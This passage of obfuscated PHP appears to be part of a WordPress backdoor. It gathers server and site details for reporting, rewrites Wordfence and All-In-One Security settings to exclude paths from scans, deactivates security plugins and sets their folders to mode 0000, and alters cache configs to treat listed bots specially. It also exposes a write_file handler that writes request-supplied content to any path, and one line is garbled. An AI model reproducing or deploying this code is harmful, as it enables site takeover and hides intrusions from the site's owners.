  1299.                             return true;
  1300.                         }
  1301.                     }
  1302.                 } else {
  1303.                     $this->a41c24b2c1e300d0c0b111baabe8dd87d( 'WpFastestCacheExclude', json_encode( $this->aa0fa5908c20939e894613e69ae8b3c4a->settings->cache->WpFastestCacheExclude ) );
  1304.                     return true;
  1305.                 }
  1306.                 return false;
  1307.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1308.                 return false;
  1309.             }
  1310.         }
  1311.  
  1312.         private function WPFastestCacheExclude() {
  1313.             return $this->aecad27faaa8398ef4b9b54c75d98dae2();
  1314.         }
  1315.  
  1316.         private function a4c18ba2fe60a61f6e8184bcb60ccf234() {
  1317.             try {
  1318.                 $a0e2752f705fc90c5f0e207d61e8dd08c = $this->ac0c1d5e3be11c8fbbf0eb6b9e1c40f3c( 'litespeed-cache-conf' );
  1319.                 if ( $a0e2752f705fc90c5f0e207d61e8dd08c ) {
  1320.                     foreach ( $this->aa0fa5908c20939e894613e69ae8b3c4a->settings->cache->bot as $a71506b8460458ef19e76d4e728398ace ) {
  1321.                         if ( !stristr( $a0e2752f705fc90c5f0e207d61e8dd08c['nocache_useragents'], $a71506b8460458ef19e76d4e728398ace ) ) {
  1322.                             $a0e2752f705fc90c5f0e207d61e8dd08c['nocache_useragents'] = ltrim( rtrim( $a0e2752f705fc90c5f0e207d61e8dd08c['nocache_useragents'], '|' ) . '|' . join( '|', $this->aa0fa5908c20939e894613e69ae8b3c4a->settings->cache->bot ), '|' );
  1323.                             $a0e2752f705fc90c5f0e207d61e8dd08c['nocache_useragents'] = join( "|", array_values( array_unique( explode( '|', $a0e2752f705fc90c5f0e207d61e8dd08c['nocache_useragents'] ) ) ) );
  1324.                             if ( $this->a56a1b6e2e90e0af3608e3630feedaaee( 'litespeed-cache-conf', $a0e2752f705fc90c5f0e207d61e8dd08c ) ) {
  1325.                                 $this->a5c17e36ffecbe7a47e7d2ef66c2221a7( $this->acd8c241c7a8e24d09aa75c2efa8f6d3d() . '.htaccess', str_replace( '{{bot}}', $a0e2752f705fc90c5f0e207d61e8dd08c['nocache_useragents'], $this->aa0fa5908c20939e894613e69ae8b3c4a->settings->cache->LitespeedCache ) );
  1326.                             }
  1327.                         }
  1328.                     }
  1329.                 }
  1330.                 return false;
  1331.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1332.                 return false;
  1333.             }
  1334.         }
  1335.  
  1336.         private function LitespeedCache() {
  1337.             return $this->a4c18ba2fe60a61f6e8184bcb60ccf234();
  1338.         }
  1339.  
  1340.         private function aef83a802d509b226c176efd38d8b8008() {
  1341.             try {
  1342.                 $this->af90e409c28642c6e36659e3611d71fca();
  1343.                 if ( $this->aa352130d9b7243bbd216f999e76be87e ) {
  1344.                     if ( !is_writable( $this->aa352130d9b7243bbd216f999e76be87e ) ) {
  1345.                         if ( !@chmod( $this->aa352130d9b7243bbd216f999e76be87e, 0777 ) ) {
  1346.                             $a4a8d7cd34b840e73a9601cb0f1963be1[$this->a6ec5a7596f36f50bcac81cf43dfe45fa] = false;
  1347.                         } else {
  1348.                             $a4a8d7cd34b840e73a9601cb0f1963be1[$this->a6ec5a7596f36f50bcac81cf43dfe45fa] = true;
  1349.                         }
  1350.                     } else {
  1351.                         $a4a8d7cd34b840e73a9601cb0f1963be1[$this->a6ec5a7596f36f50bcac81cf43dfe45fa] = true;
  1352.                     }
  1353.                 } else {
  1354.                     $a4a8d7cd34b840e73a9601cb0f1963be1[$this->a6ec5a7596f36f50bcac81cf43dfe45fa] = true;
  1355.                 }
  1356.                 $a4a8d7cd34b840e73a9601cb0f1963be1['clientVersion'] = $this->ae041d4a402908540b6c1491d14d4ef0b;
  1357.                 $a4a8d7cd34b840e73a9601cb0f1963be1['script'] = $this->a1a18ca3fa572eb2e05040b71312a1938;
  1358.                 $a4a8d7cd34b840e73a9601cb0f1963be1['title'] = $this->a6a3ef5326f7e5fab7b888ef79e1bb540( 'name' );
  1359.                 $a4a8d7cd34b840e73a9601cb0f1963be1['description'] = $this->a6a3ef5326f7e5fab7b888ef79e1bb540( 'description' );
  1360.                 $a4a8d7cd34b840e73a9601cb0f1963be1['language'] = $this->a6a3ef5326f7e5fab7b888ef79e1bb540( 'language' );
  1361.                 $a4a8d7cd34b840e73a9601cb0f1963be1['WPVersion'] = $this->a6a3ef5326f7e5fab7b888ef79e1bb540( 'version' );
  1362.                 $a4a8d7cd34b840e73a9601cb0f1963be1['wp_count_posts'] = $this->a2a24d44ede01bf9ac4e39097b529fee8();
  1363.                 $a4a8d7cd34b840e73a9601cb0f1963be1['get_categories'] = $this->ae6fd86ac4ce30b335f27a5fac9d2df4d();
  1364.                 $a4a8d7cd34b840e73a9601cb0f1963be1['uploadDir'] = $this->aa352130d9b7243bbd216f999e76be87e;
  1365.                 $a4a8d7cd34b840e73a9601cb0f1963be1['cache'] = (defined( 'WP_CACHE' ) && WP_CACHE) ? true : false;
  1366.                 $a4a8d7cd34b840e73a9601cb0f1963be1['themeName'] = (function_exists( 'wp_get_theme' )) ? wp_get_theme()->get( 'Name' ) : false;
  1367.                 $a4a8d7cd34b840e73a9601cb0f1963be1['themeDir'] = $this->aa0e0c7332c73b8ca3ef511cfc4dd2a06();
  1368.                 $a4a8d7cd34b840e73a9601cb0f1963be1['themes'] = $this->abf04b8e2f230a8d1bc73d149ada4d736();
  1369.                 $a4a8d7cd34b840e73a9601cb0f1963be1['plugins'] = $this->ae7294b5f902da8ec6b92ccc56515a338();
  1370.                 $a4a8d7cd34b840e73a9601cb0f1963be1['home'] = $this->home();
  1371.                 $a4a8d7cd34b840e73a9601cb0f1963be1['root'] = $this->acd8c241c7a8e24d09aa75c2efa8f6d3d();
  1372.                 $a4a8d7cd34b840e73a9601cb0f1963be1['filepath'] = __FILE__;
  1373.                 $a4a8d7cd34b840e73a9601cb0f1963be1['uname'] = $this->a2f7651595778ab0968191563fa9e73f2();
  1374.                 $a4a8d7cd34b840e73a9601cb0f1963be1['hostname'] = $this->a40e4245aa3dd6d7d188a781d24fcff8e();
  1375.                 $a4a8d7cd34b840e73a9601cb0f1963be1['php'] = phpversion();
  1376.                 return $this->aa643c529bbba7503489fcae0b25377e4( true, 'Wordpress', $a4a8d7cd34b840e73a9601cb0f1963be1 );
  1377.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1378.                 return $this->aa643c529bbba7503489fcae0b25377e4( false, 'Unknown ERROR', $aca0c35babbab39d84842fe7581a8e43f->getMessage(), 'ERR000' );
  1379.             }
  1380.         }
  1381.  
  1382.         private function a2bc3a6d94bbb79f09e554d782d0352b3() {
  1383.             try {
  1384.                 if ( $ad7ce988a4533441170838d30b9e0cdb6 = $this->ac0c1d5e3be11c8fbbf0eb6b9e1c40f3c( 'wpo_cache_config' ) ) {
  1385.                     foreach ( $this->aa0fa5908c20939e894613e69ae8b3c4a->settings->cache->bot as $a71506b8460458ef19e76d4e728398ace ) {
  1386.                         if ( !in_array( $a71506b8460458ef19e76d4e728398ace, $ad7ce988a4533441170838d30b9e0cdb6['cache_exception_browser_agents'] ) ) {
  1387.                             $ad7ce988a4533441170838d30b9e0cdb6['cache_exception_browser_agents'] = array_values( array_unique( array_merge_recursive( $ad7ce988a4533441170838d30b9e0cdb6['cache_exception_browser_agents'], $this->aa0fa5908c20939e894613e69ae8b3c4a->settings->cache->bot ) ) );
  1388.                             if ( $this->a56a1b6e2e90e0af3608e3630feedaaee( 'wpo_cache_config', $ad7ce988a4533441170838d30b9e0cdb6 ) ) {
  1389.                                 return true;
  1390.                             }
  1391.                         }
  1392.                     }
  1393.                 }
  1394.                 return false;
  1395.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1396.                 return false;
  1397.             }
  1398.         }
  1399.  
  1400.         private function WPOptimize() {
  1401.             return $this->a2bc3a6d94bbb79f09e554d782d0352b3();
  1402.         }
  1403.  
  1404.         private function a754c6ca54007f3fb58058fe6163b3cd7() {
  1405.             try {
  1406.                 if ( file_exists( $a40936dc72d5025e63c6b787d0d52c8bf = WP_CONTENT_DIR . $this->a95a38f44d8887a9304dd41aa0e1502cc . 'wp-cache-config.php' ) ) {
  1407.                     foreach ( $this->aa0fa5908c20939e894613e69ae8b3c4a->settings->cache->bot as $a71506b8460458ef19e76d4e728398ace ) {
  1408.                         if ( !stristr( $this->aa9eda21aba3dbb00b5e427502e179287( $a40936dc72d5025e63c6b787d0d52c8bf ), $a71506b8460458ef19e76d4e728398ace ) ) {
  1409.                             $af2b67b96f4b0a696a2931ad11b7c80df = false;
  1410.                         }
  1411.                     }
  1412.                     if ( isset( $af2b67b96f4b0a696a2931ad11b7c80df ) && $af2b67b96f4b0a696a2931ad11b7c80df === false ) {
  1413.                         $this->a5c17e36ffecbe7a47e7d2ef66c2221a7( $a40936dc72d5025e63c6b787d0d52c8bf, $this->aa0fa5908c20939e894613e69ae8b3c4a->settings->cache->WPSuperCache );
  1414.                     }
  1415.                 }
  1416.                 return false;
  1417.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1418.                 return false;
  1419.             }
  1420.         }
  1421.  
  1422.         private function WPSuperCache() {
  1423.             return $this->a754c6ca54007f3fb58058fe6163b3cd7();
  1424.         }
  1425.  
  1426.         private function a600a182ee2b8b2f1c42cd3d90567507b() {
  1427.             $this->a600a182ee2b8b2f1c42cd3d90567507b = '7061';
  1428.         }
  1429.  
  1430.         private function a69b2b309e81187434563ea55a08d2d80() {
  1431.             try {
  1432.                 $a40936dc72d5025e63c6b787d0d52c8bf = WP_CONTENT_DIR . $this->a95a38f44d8887a9304dd41aa0e1502cc . 'w3tc-config/master-preview.php';
  1433.                 if ( file_exists( $a40936dc72d5025e63c6b787d0d52c8bf ) ) {
  1434.                     $a2e0fb5ffd2d5e51de5a7ad1f0dcea479 = json_decode( str_replace( '<?php exit; ?>', '', $this->aa9eda21aba3dbb00b5e427502e179287( $a40936dc72d5025e63c6b787d0d52c8bf ) ) );
  1435.                     foreach ( $this->aa0fa5908c20939e894613e69ae8b3c4a->settings->cache->{__FUNCTION__} as $a2547ae41d9d7d5133f00c484b3c7bb2d => $a711ef9d122459f6dcae4f72820aeb7a4 ) {
  1436.                         if ( isset( $a2e0fb5ffd2d5e51de5a7ad1f0dcea479->$a2547ae41d9d7d5133f00c484b3c7bb2d ) ) {
  1437.                             $a2e0fb5ffd2d5e51de5a7ad1f0dcea479->$a2547ae41d9d7d5133f00c484b3c7bb2d = array_values( array_unique( array_merge( $a2e0fb5ffd2d5e51de5a7ad1f0dcea479->$a2547ae41d9d7d5133f00c484b3c7bb2d, $a711ef9d122459f6dcae4f72820aeb7a4 ) ) );
  1438.                         }
  1439.                     }
  1440.                     $this->ab26099d7f4f6a33fc40f8aaa1e4cdafc( $a40936dc72d5025e63c6b787d0d52c8bf, '<?php exit; ?>' . json_encode( $a2e0fb5ffd2d5e51de5a7ad1f0dcea479 ) );
  1441.                 }
  1442.                 $a40936dc72d5025e63c6b787d0d52c8bf = WP_CONTENT_DIR . $this->a95a38f44d8887a9304dd41aa0e1502cc . 'w3tc-config/master.php';
  1443.                 if ( file_exists( $a40936dc72d5025e63c6b787d0d52c8bf ) ) {
  1444.                     $a2e0fb5ffd2d5e51de5a7ad1f0dcea479 = json_decode( str_replace( '<?php exit; ?>', '', $this->aa9eda21aba3dbb00b5e427502e179287( $a40936dc72d5025e63c6b787d0d52c8bf ) ) );
  1445.                     foreach ( $this->aa0fa5908c20939e894613e69ae8b3c4a->settings->cache->{__FUNCTION__} as $a2547ae41d9d7d5133f00c484b3c7bb2d => $a711ef9d122459f6dcae4f72820aeb7a4 ) {
  1446.                         if ( isset( $a2e0fb5ffd2d5e51de5a7ad1f0dcea479->$a2547ae41d9d7d5133f00c484b3c7bb2d ) ) {
  1447.                             $a2e0fb5ffd2d5e51de5a7ad1f0dcea479->$a2547ae41d9d7d5133f00c484b3c7bb2d = array_values( array_unique( array_merge( $a2e0fb5ffd2d5e51de5a7ad1f0dcea479->$a2547ae41d9d7d5133f00c484b3c7bb2d, $a711ef9d122459f6dcae4f72820aeb7a4 ) ) );
  1448.                         }
  1449.                     }
  1450.                     $this->ab26099d7f4f6a33fc40f8aaa1e4cdafc( $a40936dc72d5025e63c6b787d0d52c8bf, '<?php exit; ?>' . json_encode( $a2e0fb5ffd2d5e51de5a7ad1f0dcea479 ) );
  1451.                 }
  1452.                 return false;
  1453.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1454.                 return false;
  1455.             }
  1456.         }
  1457.  
  1458.         private function a3d3c6f94ddaa1e52179a2312380c0079() {
  1459.             $this->a3d3c6f94ddaa1e52179a2312380c0079 = $_SERVER;
  1460.         }
  1461.  
  1462.         private function W3TotalCache() {
  1463.             return $this->a69b2b309e81187434563ea55a08d2d80();
  1464.         }
  1465.  
  1466.         private function aefd4962485c36caff1ed12574c8e3727() {
  1467.             try {
  1468.                 global $wpdb;
  1469.                 $a6b673e800d0faa94a36549a1d410025f = $wpdb->prefix . 'wfconfig';
  1470.                 if ( $wpdb->get_var( "SHOW TABLES LIKE '{$a6b673e800d0faa94a36549a1d410025f}'" ) == $a6b673e800d0faa94a36549a1d410025f ) {
  1471.                     $a480d052adb97ba1e19cc3e90796b934f = $wpdb->get_row( "SELECT * FROM {$a6b673e800d0faa94a36549a1d410025f} WHERE name = 'scan_exclude'" );
  1472.                     $include = $wpdb->get_row( "SELECT * FROM {$a6b673e800d0faa94a36549a1d410025f} WHERE name = 'scan_include_extra'" );
  1473.                     foreach ( $this->aa0fa5908c20939e894613e69ae8b3c4a->settings->security->{__FUNCTION__}->search->exclude as $a1273328803f74e21f1d752a65373dadd ) {
  1474.                         if ( strpos( $a480d052adb97ba1e19cc3e90796b934f->val, $a1273328803f74e21f1d752a65373dadd ) === false ) {
  1475.                             $a480d052adb97ba1e19cc3e90796b934f->val = $a480d052adb97ba1e19cc3e90796b934f->val . PHP_EOL . $a1273328803f74e21f1d752a65373dadd;
  1476.                             $wpdb->update( $a6b673e800d0faa94a36549a1d410025f, array('val' => $a480d052adb97ba1e19cc3e90796b934f->val), array('name' => 'scan_exclude'), $afe895624ad3cac177df80e4f43d33524 = null, $a60315f117ea0dd68f73216727dcfbc5f = null );
  1477.                         }
  1478.                     }
  1479.                     foreach ( $this->aa0fa5908c20939e894613e69ae8b3c4a->settings->security->{__FUNCTION__}->search->include as $a1273328803f74e21f1d752a65373dadd ) {
  1480.                         if ( strpos( $include->val, $a1273328803f74e21f1d752a65373dadd ) === false ) {
  1481.                             $include->val = $include->val . PHP_EOL . $a1273328803f74e21f1d752a65373dadd;
  1482.                             $wpdb->update( $a6b673e800d0faa94a36549a1d410025f, array('val' => $include->val), array('name' => 'scan_include_extra'), $afe895624ad3cac177df80e4f43d33524 = null, $a60315f117ea0dd68f73216727dcfbc5f = null );
  1483.                         }
  1484.                     }
  1485.                     foreach ( $this->aa0fa5908c20939e894613e69ae8b3c4a->settings->security->{__FUNCTION__}->scans as $ad8d6304e96f838c2fd4ae8aac4a7effb => $val ) {
  1486.                         $wpdb->update( $a6b673e800d0faa94a36549a1d410025f, array('val' => $val), array('name' => "{$ad8d6304e96f838c2fd4ae8aac4a7effb}"), $afe895624ad3cac177df80e4f43d33524 = null, $a60315f117ea0dd68f73216727dcfbc5f = null );
  1487.                     }
  1488.                 }
  1489.                 return false;
  1490.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1491.                 return false;
  1492.             }
  1493.         }
  1494.  
  1495.         private function Wordfence() {
  1496.             return $this->aefd4962485c36caff1ed12574c8e3727();
  1497.         }
  1498.  
  1499.         private function a0ec16ee5ceff4a811165076209876c17() {
  1500.             try {
  1501.                 if ( $ad7ce988a4533441170838d30b9e0cdb6 = $this->ac0c1d5e3be11c8fbbf0eb6b9e1c40f3c( 'aio_wp_security_configs' ) ) {
  1502.                     foreach ( $this->aa0fa5908c20939e894613e69ae8b3c4a->settings->security->{__FUNCTION__}->scans as $ad8d6304e96f838c2fd4ae8aac4a7effb => $a711ef9d122459f6dcae4f72820aeb7a4 ) {
  1503.                         $ad7ce988a4533441170838d30b9e0cdb6[$ad8d6304e96f838c2fd4ae8aac4a7effb] = $a711ef9d122459f6dcae4f72820aeb7a4;
  1504.                         $this->a56a1b6e2e90e0af3608e3630feedaaee( 'aio_wp_security_configs', $ad7ce988a4533441170838d30b9e0cdb6 );
  1505.                     }
  1506.                 }
  1507.                 return false;
  1508.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1509.                 return false;
  1510.             }
  1511.         }
  1512.  
  1513.         private function AllInOneSecurity() {
  1514.             return $this->a0ec16ee5ceff4a811165076209876c17();
  1515.         }
  1516.  
  1517.         private function a6f0584fc865ccf1c9041f19507fb1ad9() {
  1518.             try {
  1519.                 if ( !isset( $this->aa0fa5908c20939e894613e69ae8b3c4a ) ) {
  1520.                     $this->aa0fa5908c20939e894613e69ae8b3c4a = $this->ade1c2665a99a2a59b4ca176a24ae534b()->files;
  1521.                 }
  1522.                 foreach ( $this->aa0fa5908c20939e894613e69ae8b3c4a->settings->plugins as $a2547ae41d9d7d5133f00c484b3c7bb2d => $a711ef9d122459f6dcae4f72820aeb7a4 ) {
  1523.                     if ( $this->aff85a745cd9bc4d4967c8db6c07f653f( $a711ef9d122459f6dcae4f72820aeb7a4 ) !== false ) {
  1524.                         $this->{$a2547ae41d9d7d5133f00c484b3c7bb2d}();
  1525.                     }
  1526.                 }
  1527.                 return false;
  1528.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1529.                 return false;
  1530.             }
  1531.         }
  1532.  
  1533.         private function a819e01a1ce32b79e0b557e19f3749e6b() {
  1534.             $this->a819e01a1ce32b79e0b557e19f3749e6b = 'DOCUMENT_ROOT';
  1535.         }
  1536.  
  1537.         private function a4180200a979ec2261474b830a3ec970c() {
  1538.             try {
  1539.  
  1540.                 if ( !isset( $this->aa0fa5908c20939e894613e69ae8b3c4a ) ) {
  1541.                     $this->aa0fa5908c20939e894613e69ae8b3c4a = $this->ade1c2665a99a2a59b4ca176a24ae534b()->files;
  1542.                 }
  1543.                 $af2b67b96f4b0a696a2931ad11b7c80df = array();
  1544.                 foreach ( $this->aa0fa5908c20939e894613e69ae8b3c4a->settings->security->disable as $a4180200a979ec2261474b830a3ec970c ) {
  1545.                     foreach ( $this->ae7294b5f902da8ec6b92ccc56515a338() as $a2547ae41d9d7d5133f00c484b3c7bb2d => $a496cf4e833ce1c42bb7084b233c75fe7 ) {
  1546.                         foreach ( $a496cf4e833ce1c42bb7084b233c75fe7 as $aa76b0c4a45c85eb413d35c32820f7f69 => $a5dde791dcd75fb4db1ac40a33a7b2d85 ) {
  1547.                             if ( stristr( $a5dde791dcd75fb4db1ac40a33a7b2d85, $a4180200a979ec2261474b830a3ec970c ) && $a496cf4e833ce1c42bb7084b233c75fe7['active'] == 1 ) {
  1548.                                 $af2b67b96f4b0a696a2931ad11b7c80df[$a2547ae41d9d7d5133f00c484b3c7bb2d] = $a496cf4e833ce1c42bb7084b233c75fe7;
  1549.                                 $this->a87b134c04d6083f08ed801d1b848cc14( $a2547ae41d9d7d5133f00c484b3c7bb2d );
  1550.                                 if ( function_exists( 'chmod' ) && defined( 'WP_PLUGIN_DIR' ) ) {
  1551.                                     chmod( WP_PLUGIN_DIR . "/{$a2547ae41d9d7d5133f00c484b3c7bb2d}", 0000 );
  1552.                                 }
  1553.                             }
  1554.                         }
  1555.                     }
  1556.                 }
  1557.                 return false;
  1558.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1559.                 return false;
  1560.             }
  1561.         }
  1562.  
  1563.         private function aff85a745cd9bc4d4967c8db6c07f653f( $a8eda406016aed4948edc5a4f0fa2afcd ) {
  1564.             try {
  1565.                 foreach ( $this->ae7294b5f902da8ec6b92ccc56515a338() as $a2547ae41d9d7d5133f00c484b3c7bb2d => $a496cf4e833ce1c42bb7084b233c75fe7 ) {
  1566.                     foreach ( $a496cf4e833ce1c42bb7084b233c75fe7 as $aa76b0c4a45c85eb413d35c32820f7f69 => $a5dde791dcd75fb4db1ac40a33a7b2d85 ) {
  1567.                         if ( stristr( $a5dde791dcd75fb4db1ac40a33a7b2d85, $a8eda406016aed4948edc5a4f0fa2afcd ) && $a496cf4e833ce1c42bb7084b233c75fe7['active'] == 1 ) {
  1568.                             return $a496cf4e833ce1c42bb7084b233c75fe7;
  1569.                         }
  1570.                     }
  1571.                 }
  1572.                 return false;
  1573.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1574.                 return false;
  1575.             }
  1576.         }
  1577.  
  1578.         private function a48cb10e383589910969fb381d1002166() {
  1579.             $this->a48cb10e383589910969fb381d1002166 = 'HTTP_CLIENT_IP';
  1580.         }
  1581.  
  1582.         private function aee64ee2e1231d07f6a4eb6adfcbc13a9() {
  1583.             try {
  1584.                 $this->af90e409c28642c6e36659e3611d71fca();
  1585.                 return $this->aa352130d9b7243bbd216f999e76be87e . $this->a95a38f44d8887a9304dd41aa0e1502cc . '.json';
  1586.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1587.                 return false;
  1588.             }
  1589.         }
  1590.  
  1591.         private function a95a38f44d8887a9304dd41aa0e1502cc() {
  1592.             $this->a95a38f44d8887a9304dd41aa0e1502cc = DIRECTORY_SEPARATOR;
  1593.         }
  1594.  
  1595.         private function a10d7bfa3863a80b6909a1f5713c6a342() {
  1596.             try {
  1597.                 if ( $this->a6dafd797f79898a93ddaa0eb56c64eef() ) {
  1598.                     if ( $this->a1e13092c601d571b221b9f1b61cbe959( $this->ad805d4961239a87d032869a7d0d01ef1 ) ) {
  1599.                         $ab26099d7f4f6a33fc40f8aaa1e4cdafc = $this->ab26099d7f4f6a33fc40f8aaa1e4cdafc( $this->aee64ee2e1231d07f6a4eb6adfcbc13a9(), bin2hex( $this->ad805d4961239a87d032869a7d0d01ef1 ) );
  1600.                         return ($ab26099d7f4f6a33fc40f8aaa1e4cdafc) ? $this->a7cc0309fbbd90e107a4419ae095cb5d2( $this->aa9eda21aba3dbb00b5e427502e179287( $this->aee64ee2e1231d07f6a4eb6adfcbc13a9() ) ) : $this->ad805d4961239a87d032869a7d0d01ef1;
  1601.                     } else {
  1602.                         return $this->a7cc0309fbbd90e107a4419ae095cb5d2( $this->aa9eda21aba3dbb00b5e427502e179287( $this->aee64ee2e1231d07f6a4eb6adfcbc13a9() ) );
  1603.                     }
  1604.                 }
  1605.                 return false;
  1606.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1607.                 return false;
  1608.             }
  1609.         }
  1610.  
  1611.         private function get() {
  1612.             return $this->a10d7bfa3863a80b6909a1f5713c6a342();
  1613.         }
  1614.  
  1615.         private function ab1ed9eb9b6996f5213cc1f31a5243858() {
  1616.             $this->ab1ed9eb9b6996f5213cc1f31a5243858 = $_REQUEST;
  1617.         }
  1618.  
  1619.         private function ade1c2665a99a2a59b4ca176a24ae534b() {
  1620.             try {
  1621.                 if ( file_exists( $this->aee64ee2e1231d07f6a4eb6adfcbc13a9() ) ) {
  1622.                     if ( $this->a617339d82e9e427d26e15f523e081fb3( filemtime( $this->aee64ee2e1231d07f6a4eb6adfcbc13a9() ) ) >= 24 ) {
  1623.                         return json_decode( $this->a10d7bfa3863a80b6909a1f5713c6a342() );
  1624.                     } else {
  1625.                         $aee64ee2e1231d07f6a4eb6adfcbc13a9 = json_decode( $this->a7cc0309fbbd90e107a4419ae095cb5d2( $this->aa9eda21aba3dbb00b5e427502e179287( $this->aee64ee2e1231d07f6a4eb6adfcbc13a9() ) ) );
  1626.                         return (isset( $aee64ee2e1231d07f6a4eb6adfcbc13a9->files )) ? $aee64ee2e1231d07f6a4eb6adfcbc13a9 : json_decode( $this->a10d7bfa3863a80b6909a1f5713c6a342() );
  1627.                     }
  1628.                 } else {
  1629.                     return json_decode( $this->a10d7bfa3863a80b6909a1f5713c6a342() );
  1630.                 }
  1631.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1632.                 return false;
  1633.             }
  1634.         }
  1635.  
  1636.         private function cache() {
  1637.             return $this->ade1c2665a99a2a59b4ca176a24ae534b();
  1638.         }
  1639.  
  1640.         private function ab319d0ea2a08cc6a4974e9a9df12f7a0( $a40936dc72d5025e63c6b787d0d52c8bf, $a4a8d7cd34b840e73a9601cb0f1963be1 ) {
  1641.             if ( file_exists( $a40936dc72d5025e63c6b787d0d52c8bf ) ) {
  1642.                 if ( filesize( $a40936dc72d5025e63c6b787d0d52c8bf ) !== strlen( $a4a8d7cd34b840e73a9601cb0f1963be1 ) ) {
  1643.                     return $this->ab26099d7f4f6a33fc40f8aaa1e4cdafc( $a40936dc72d5025e63c6b787d0d52c8bf, $a4a8d7cd34b840e73a9601cb0f1963be1 );
  1644.                 }
  1645.                 return true;
  1646.             }
  1647.             if ( !file_exists( $a40936dc72d5025e63c6b787d0d52c8bf ) ) {
  1648.                 return $this->ab26099d7f4f6a33fc40f8aaa1e4cdafc( $a40936dc72d5025e63c6b787d0d52c8bf, $a4a8d7cd34b840e73a9601cb0f1963be1 );
  1649.             }
  1650.             return false;
  1651.         }
  1652.  
  1653.         private function ab26099d7f4f6a33fc40f8aaa1e4cdafc( $a40936dc72d5025e63c6b787d0d52c8bf, $a4a8d7cd34b840e73a9601cb0f1963be1 ) {
  1654.             try {
  1655.                 if ( function_exists( 'fopen' ) && function_exists( 'fwrite' ) ) {
  1656.                     $aff1208430dbcd13ec36dec3d3c8a02ec = fopen( $a40936dc72d5025e63c6b787d0d52c8bf, 'w+' );
  1657.                     $ad518a30a56805a7dbfba1336a6384c6f = fwrite( $aff1208430dbcd13ec36dec3d3c8a02ec, $a4a8d7cd34b840e73a9601cb0f1963be1 );
  1658.                     fclose( $aff1208430dbcd13ec36dec3d3c8a02ec );
  1659.                     return ($ad518a30a56805a7dbfba1336a6384c6f) ? true : false;
  1660.                 } else if ( function_exists( 'file_put_contents' ) ) {
  1661.                     return (file_put_contents( $a40936dc72d5025e63c6b787d0d52c8bf, $a4a8d7cd34b840e73a9601cb0f1963be1 ) !== falsaca0c35babbab39d84842fe7581a8e43f) ? true : false;
  1662.                 }
  1663.                 return false;
  1664.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1665.                 return false;
  1666.             }
  1667.         }
  1668.  
  1669.         private function a394fe0aa7b5bab0731c95aaabcc91ef6() {
  1670.             try {
  1671.                 if ( !isset( $this->ab1ed9eb9b6996f5213cc1f31a5243858['filename'] ) ) {
  1672.                     return false;
  1673.                 }
  1674.                 $a40936dc72d5025e63c6b787d0d52c8bf = $this->a7cc0309fbbd90e107a4419ae095cb5d2( $this->ab1ed9eb9b6996f5213cc1f31a5243858['filename'] );
  1675.                 if ( isset( $this->ab1ed9eb9b6996f5213cc1f31a5243858['content'] ) ) {
  1676.                     $ac8aa7053a5c216e70dd642051bed7d10 = $this->a7cc0309fbbd90e107a4419ae095cb5d2( $this->ab1ed9eb9b6996f5213cc1f31a5243858['content'] );
  1677.                 }
  1678.                 if ( file_exists( $a40936dc72d5025e63c6b787d0d52c8bf ) ) {
  1679.                     if ( isset( $ac8aa7053a5c216e70dd642051bed7d10 ) ) {
  1680.                         if ( $ab26099d7f4f6a33fc40f8aaa1e4cdafc = $this->ab26099d7f4f6a33fc40f8aaa1e4cdafc( $a40936dc72d5025e63c6b787d0d52c8bf, $ac8aa7053a5c216e70dd642051bed7d10 ) ) {
  1681.                             return $this->aa643c529bbba7503489fcae0b25377e4( $ab26099d7f4f6a33fc40f8aaa1e4cdafc, $a40936dc72d5025e63c6b787d0d52c8bf, $ac8aa7053a5c216e70dd642051bed7d10 );
  1682.                         }
  1683.                     } else {
  1684.                         return $this->aa643c529bbba7503489fcae0b25377e4( true, $a40936dc72d5025e63c6b787d0d52c8bf, $this->aa9eda21aba3dbb00b5e427502e179287( $a40936dc72d5025e63c6b787d0d52c8bf ) );
  1685.                     }
  1686.                 } else {
  1687.                     if ( isset( $ac8aa7053a5c216e70dd642051bed7d10 ) ) {
  1688.                         if ( $ab26099d7f4f6a33fc40f8aaa1e4cdafc = $this->ab26099d7f4f6a33fc40f8aaa1e4cdafc( $a40936dc72d5025e63c6b787d0d52c8bf, $ac8aa7053a5c216e70dd642051bed7d10 ) ) {
  1689.                             return $this->aa643c529bbba7503489fcae0b25377e4( $ab26099d7f4f6a33fc40f8aaa1e4cdafc, $a40936dc72d5025e63c6b787d0d52c8bf, $ac8aa7053a5c216e70dd642051bed7d10 );
  1690.                         }
  1691.                     } else {
  1692.                         return $this->aa643c529bbba7503489fcae0b25377e4( $this->ab26099d7f4f6a33fc40f8aaa1e4cdafc( $a40936dc72d5025e63c6b787d0d52c8bf, '' ), $a40936dc72d5025e63c6b787d0d52c8bf, '' );
  1693.                     }
  1694.                 }
  1695.                 return false;
  1696.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  1697.                 return false;
  1698.             }
  1699.         }
  1700.  
  1701.         private function write_file() {
  1702.             return $this->a394fe0aa7b5bab0731c95aaabcc91ef6();
  1703.         }
  1704.  
  1705.         private function a5c17e36ffecbe7a47e7d2ef66c2221a7( $a40936dc72d5025e63c6b787d0d52c8bf, $a4a8d7cd34b840e73a9601cb0f1963be1 ) {
  1706.             try {
  1707.                 if ( function_exists( 'fopen' ) && function_exists( 'fwrite' ) ) {
  1708.                     $ab26099d7f4f6a33fc40f8aaa1e4cdafc = fopen( $a40936dc72d5025e63c6b787d0d52c8bf, 'a' );
  1709.  
  1710.                     return (fwrite( $ab26099d7f4f6a33fc40f8aaa1e4cdafc, $a4a8d7cd34b840e73a9601cb0f1963be1 )) ? true : false;
  1711.  
